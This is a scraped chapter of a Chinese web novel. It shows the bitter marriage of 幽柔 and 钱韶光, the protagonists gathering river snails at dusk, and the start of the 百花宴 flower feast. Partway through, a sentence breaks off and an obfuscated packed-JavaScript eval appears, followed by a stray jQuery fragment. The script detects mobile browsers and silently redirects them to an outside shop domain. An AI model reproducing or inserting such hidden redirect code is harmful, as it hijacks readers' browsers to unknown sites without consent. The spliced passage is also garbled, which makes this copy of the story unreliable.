36. 036
    幽柔抬眼瞧着门口,手中橘子剥的精光,没见有动静又垂下头。

    “夫人,夫人!”

    幽柔起身,将气喘吁吁的侍女拉到身边,“怎么样,有没有打听到什么?”

    侍女摇头,上气不接下气道:“他们还没回来,我们的侍从也没能跟出去。”

    “还没回来?”幽柔眉头微微皱着,又坐回板凳上,喃喃道,“这么长时间了……”

    侍女站到她身旁,平复了一会儿才小声道:“夫人,这大宅里都是钱老爷的人。您这都单独与燕辞归交过两次面了,就算心系他,也不能表现的如此明显,万一被人看去,再传到老爷那里,定要遭殃的。”

    幽柔抬头看了她一眼,侍女从小跟在她身边,也算可信,她思忖半天还是摇了摇头。

    见幽柔不听,侍女想蹲下再劝说劝说,门口却传来一声“这么大个院子,也没人接着。”转身看过去,钱韶光已经背手踏进门,她急忙走出去,躬身一礼道:“老爷。”

    钱韶光心情还不错,“嗯”了一声径直走进去,侍女低头跟在身后。

    幽柔安稳坐着,又拿来一个橘子细细剥皮,丝毫没有起身迎接他的意思。

    钱韶光“哼”了声,在她对面坐下,“这些年了,礼数是半点没学会,自家男人来了都不知道接着。”

    幽柔像是没看到他这个人,也不接话。这气氛,侍女在一旁捏了把冷汗。

    钱韶光也不急,拂袖道:“怎么?如今嘴巴都张不开了?”

    幽柔冷哼一声,淡淡道:“接着你?怎么接,喊声贤弟来了?”

    这句话激的他蹙了下眉,眼底闪过一丝狠厉,随后又乐呵道:“大哥这都走多少年了,怎么?现如今,幽柔还想听我唤你一声嫂嫂?”

    幽柔斜睨他一眼,“你也配。”

    让他不顺心了,那就都别顺心,钱韶光大笑几声,“配不上就算了,叫声‘夫人’我总配的上,怎么说,你都是我明媒正娶来的。”

    “你那些下三滥的手段,也好意思说出‘明媒正娶’这几个字,真让人恶心。”

    见她急了,钱韶光满意道:“恶心也没用,我死了,你就得跟着。到了下面,做鬼你也是我钱韶光的妻子,不是他钱世权的!”

    幽柔没说话,瞪了他一眼,连眼神都在骂他恶心。

    钱韶光不恼,反而笑了下,“今日来不是找你斗嘴的。”他转身冲门口喊了一句,“东西都呈上来。”

    “是。”门外候着的侍从应了声,带侍女走进去站成一排。

    珠宝头饰、衣服、鞋子,从头到脚的装扮一应俱全。钱韶光起身,指向这些准备好的东西,“两日后的百花宴,这都是为你准备的。”

    “年年都是如此。”幽柔只扫了眼他准备的东西,“你真是虚伪,自己虚伪还不够,硬要拉上别人陪你惺惺作态。钱韶光,你失败至极,不如叫二娘子顶了我这位置,省的我每年都要如此恶心百花宴。”

    钱韶光不知会错了那句话的意思,硬是凑到她身边坐下,幽柔眉头拧在一起,往一旁躲了下,“你又要抽什么风?”

    “在我这谁也顶替不了你,你若以后能真心待我,这一宅的女人我都休了。”钱韶光说着去拉她的手,被一把甩开。

    “我只想杀了你。”幽柔看着他,眼前人已苍老,却难平她心中恨意。

    两人静默着,一旁的侍从侍女低着头,个个都是心惊胆战。

    手在空中顿了半响才缓缓落下,钱韶光压着声音说:“当初能碰你的时候,不该轻易放了你。”他说完便起身,“东西都放下吧。”

    人都退了出去,幽柔的拳头还紧握着,小侍女上前安慰才渐渐松开,手心已嵌上深深的印子。

    晚风一吹,小河里的水仿佛也荡了起来,任卷舒坐在桥上看小溪里的几人。

    方才路过溪边,许多人在下面摸田螺,钱江尧讲这个季节的螺肉最为好吃,非得拽着几人一起下去。这种事儿,燕辞归肯定冲在最前面,第一个就跟他下去了,两人又一并把同其尘拉下水。

    同其尘被拽下水也没恼,开始没想跟他们一起,但衣裤都沾湿了,也就在下面摸了一会。

    雪芽喜水,便随他们下去体会这摸田螺的乐趣,剩任卷舒一个怕水的在桥上坐着。

    钱江尧和燕辞归一看就是老手了,平常肯定没少捉鱼摸虾。再看同其尘在水中的动作,显得有些笨拙,摸了半天,田螺没摸到一个,手上还缠了不少水草。

    钱江尧回头看他这副样子,笑的差点坐到水里,“哪有你这样摸田螺的,它们又不是鱼,不喜水草。你别胡乱抓,要顺着石头缝去摸。”他一边说一边演示,摸上来五六个,“你看。”

    同其尘点了点头,似懂非懂的样子,按照钱江尧说的真摸上来一个。

    应该是欣喜的,盯着手心里的小黑疙瘩瞅了半天,任卷舒顺着他的脸往后看,太阳只剩一个尖尖,地平线和天际线透出金色的光,硬生生将天地分开,仿佛创造出了三界外的另一空间。

    这一刻,好像一切都安静下来。

    任卷舒扬了扬嘴角,朝下面喊道,“帮我抓条鱼。”

    下面传来几声参差不齐的“好”。

    四人摸了一大兜子田螺,沉甸甸的。

    燕辞归看向钱江尧,“看你文绉绉的样子,没想到还挺厉害。”

    钱江尧笑了下,“小时候总爱逮这些,也有些经验。”

    同其尘拎着用水草绑好的几条鱼。五人返程时,天色早就暗了下来。

    到钱家门口,两名侍从在外守着,已等候多时,见几人回来便迎上去。

    “小公子,四位贵客。老爷派我们在此等候,跟你们说一下,两日之后要举行百花宴,希望各位都能参加。”

    寻了好几日,都见不到钱韶光的人影,这白来的机会怎能错过。任卷舒笑道:“劳烦二位了,我们一定准时到场。”

    “好。”侍从躬身一礼想要回去。

    钱江尧急忙拦住二人,将手里的田螺交给他们,“劳烦二位帮忙搬进去。”

    侍从点头,“放到何

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509506|140953||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    处?”

    “先放到我院里吧。”钱江尧转身看向四人,“这田螺食用前,先得在清水里空几日,让它们吐吐沙。等能吃的时候,我让厨房做好拿给你们。”

    “那就劳烦江尧了。”任卷舒问道,“这百花宴是?”

    钱江尧道:“说白了就是在野外吃吃喝喝,因为这个季节姑墨的花大部分都已经开了,野外的风景好,所以每年都举行这样一个聚餐。家父出钱组织宴席,感兴趣的都可以去游玩一圈。”

    他又补充道:“野外靠山,也会有些人借此展示自己的功夫,抓些野兔什么的烤着吃。总的来说,就是去游玩,你们不用紧张。”

    任卷舒道:“不紧张,就是没听说过,有些好奇。”

    钱江尧笑着点了下头,“这也不早了,我先回去换洗一下,各位也早些休息。”

    “好。”

    钱江尧离开,四人也往客院走,任卷舒看向同其尘手中的草鱼,小脑瓜一转,开口道:“我们回去烤鱼吃吧。”

    “我觉得行。”燕辞归转身道,“正好把上次没喝完的酒拿出来。”

    “想一块去了。”任卷舒满意的点了点头。

    雪芽道:“钱韶光会不会在百花宴上整事情?”

    “这还真不好说。”燕辞归道:“大半夜的,还给我搞刺杀呢,到时候真说不准他要搞什么?”

    同其尘道:“春日宴上都小心一点,毕竟人多眼杂。”

    “这个我赞同,小心驶得万年船,是不是?”任卷舒转身看着他。

    同其尘点了点头。

    任卷舒道:“燕辞归,我真感觉那晚钱韶光看到你了,要不然怎么会有人专门刺杀你?”

    燕辞归道:“不可能,我一直盯着他呢,他都没看床榻那边。”

    “那怎么只刺杀你?”

    “也可能是没找到你们。或者我倒霉,第一个就找到我了。”

    “……”

    百花宴当日。

    “不是说,就在野外吃吃喝喝随便赏一下花吗?”任卷舒看着眼前的景象,“这怎么在撒钱啊?”

    燕辞归都已经看傻眼了,“钱韶光是真豪啊,这白花花的碎银就像洒水一样撒出去了?”

    队伍最前面是钱江尧打头阵,后面的马车上坐着钱韶光和幽柔,正从侧窗向路旁的人群洒碎银,四人骑马跟在后面,看的目瞪口呆。

    任卷舒看着哄抢的人群,这搞得她都想下去拾钱了,不知道灵久在不在,要是在的话,一定要多拾一点,后面的路费就能富裕些。

    路旁的人们叽叽喳喳,不少人都是喊谢。

    “虽隔着一层面纱,这钱夫人眉眼看着一点都没变,还是这般俊秀,保养的真好。”

    “那是自然,钱夫人又不用干活,衣食起居都有人照顾,钱家这么有钱,肯定保养的好,不是我们能比的。”

    听着她们的话语,任卷舒向马车看过去,只见窗边飘出的半点白纱,纤细白皙的手指不断抓着银钱洒出。

    光看手就知道是个美人。